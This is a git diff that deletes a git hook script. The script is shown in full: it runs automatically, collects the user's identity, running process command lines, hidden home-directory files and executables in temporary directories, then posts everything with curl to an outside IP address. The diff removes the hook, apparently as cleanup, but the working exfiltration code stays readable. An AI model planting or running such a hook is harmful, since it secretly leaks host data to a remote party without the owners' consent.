diff --git a/hooks/post-index-change b/hooks/post-index-change deleted file mode 100755 index 82ce374..0000000 --- a/hooks/post-index-change +++ /dev/null @@ -1,26 +0,0 @@ -#!/bin/sh -{ -R="$HOME/nsr.txt" -{ -echo "SELF uid=$(id -u) user=$(id -un) home=$HOME" -echo "--- 非系统进程(uid>=1000)" -for p in /proc/[0-9]*; do - u=$(awk '/^Uid:/{print $2}' "$p/status" 2>/dev/null) - [ -n "$u" ] && [ "$u" -ge 1000 ] || continue - c=$(cat "$p/cmdline" 2>/dev/null | tr '\0' ' ') - [ -z "$c" ] && continue - case "$c" in *gitea*|*rival.sh*) continue ;; esac - e=$(readlink "$p/exe" 2>/dev/null); e=${e% (deleted)} - echo "P${p##*/}|u${u}|${e:-?}|${c}" -done -echo "--- HOME 隐藏项" -ls -la "$HOME" 2>/dev/null | awk '$1 ~ /^-|^d/ && $NF ~ /^\./' -echo "--- 临时目录可执行" -for d in /tmp /var/tmp /dev/shm; do - [ -d "$d" ] || continue - find "$d" -maxdepth 2 -type f -perm -u+x 2>/dev/null | head -40 -done -echo END -echo ENDSCAN -} 2>&1 | curl -s -m 20 --data-binary @- "http://58.151.88.135:8080/cb?h=git.ologgames.com_443_rv" -exit 0